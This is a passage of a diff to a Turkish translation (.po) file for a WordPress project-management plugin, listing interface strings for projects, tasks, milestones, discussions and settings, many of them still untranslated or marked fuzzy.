texts/resource_types.php:23 +#, fuzzy +#| msgid "%d file" +#| msgid_plural "%d files" +msgid "file" +msgstr "%d dosya" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +# @ cpm +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Bir yorum bulundu" + +# @ cpm +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Proje Bulunamadı" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +# @ cpm +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Emin misiniz?" + +# @ cpm +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Bu projeyi silmek istediğinize emin misiniz?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Mesajı silmek istediğinize emin misiniz?" + +# @ cpm +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Bu projeyi silmek istediğinize emin misiniz?" + +# @ cpm +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Yeni Mesaj Yaz" + +# @ cpm +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Mesajı Güncelle" + +# @ cpm +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Proje Aktivitesi" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Görev Listesi" + +# @ cpm +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Kilometre Taşı" + +# @ cpm +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Dosyalar" + +# @ cpm +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Düzenle" + +# @ cpm +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Bu mesajı sil." + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Mesaj başlığı girin" + +# @ cpm +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Mesaj Yaz" + +# @ cpm +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Mesajı Güncelle" + +# @ cpm +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Yeni proje başlat" + +# @ cpm +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Projenin adı" + +# @ wedevs +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Proje ile ilgili ayrıntılar (isteğe bağlı)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Yeni Proje Ekle" + +# @ cpm +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Projeyi Güncelle" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Kilometre Taşı Düzenle" + +# @ cpm +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Kilometre Taşını Sil" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Tamamlandı İşaretle" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Kilometre Taşı Adı" + +# @ cpm +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Kilometre Taşı Ekle" + +# @ cpm +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Kilometre Taşını Güncelle" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Görev Ekle" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Liste Güncelle" + +# @ cpm +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Liste Ekle" + +# @ cpm +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Kilometre Taşını Sil" + +# @ cpm +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Değişiklikleri Kaydet" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +# @ cpm +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktivite" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Sil" + +# @ cpm +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Hepsini seç" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +# @ cpm +# @ wedevs +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "İptal" + +# @ cpm +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Hepsini seç" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +# @ default +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Dosyayı Sil" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +# @ cpm +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Tamamlandı" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +# @ cpm +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Kullanıcılara Bildir" + +# @ cpm +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Daha fazla yükle ..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Yeni mesaj oluştur." + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "yazı" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Kullanıcı Bulunamadı" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Yeni Proje" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Görevler" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Tamamlanan Kilometre Taşı" + +# @ cpm +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Tamamlanma Zamanı:" + +# @ cpm +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Geçmiş Kilometre Taşı" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Gelecek Kilometre Taşı" + +# @ cpm +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "sol" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +# @ cpm +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Yeni Görev Listesi" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "E-Mail Ayarları" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "E-mail Tipi" + +# @ cpm +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML Mail" + +# @ cpm +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Zengin Metin" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +# @ cpm +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Dosya Yükleme Limiti" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: 